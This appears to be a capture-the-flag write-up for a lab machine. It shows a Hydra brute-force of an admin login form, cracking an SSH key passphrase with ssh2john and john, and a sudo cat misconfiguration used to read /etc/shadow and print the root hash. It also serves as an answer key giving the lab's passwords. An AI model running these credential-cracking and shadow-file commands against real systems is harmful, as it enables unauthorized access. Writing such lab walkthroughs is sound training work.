What is the user:password of the admin panel?

  • Answer: admin:xavier
  • Steps to Reproduce:
    • Using Hydra to bruteforce the password:
 hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.151.107 http-post-form "/admin/:user=^USER^&pass=^PASS^&Login=Login:Username or password invalid"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

What is John's RSA Private Key passphrase?

  • Answer: rockinroll
  • Steps to Reproduce:
    • Copy the RSA private key and change the file permission to 600
    • Use ssh2john for bruteforcing with john.
$ locate ssh2john
/usr/share/john/ssh2john.py

$ python3 /usr/share/john/ssh2john.py id_rsa > forjohn.txt

$ john forjohn.txt --format="SSH" --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.

Privilege Escalation

Find a form to escalate your privileges.

  • cat can be used to escalate the privilege.
john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

What is the root's password?

  • Answer: football
  • Steps to Reproduce:
  • sudo cat the /etc/shadow file to get the hash of root user:
john@bruteit:~$ sudo cat /etc/shadow
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.
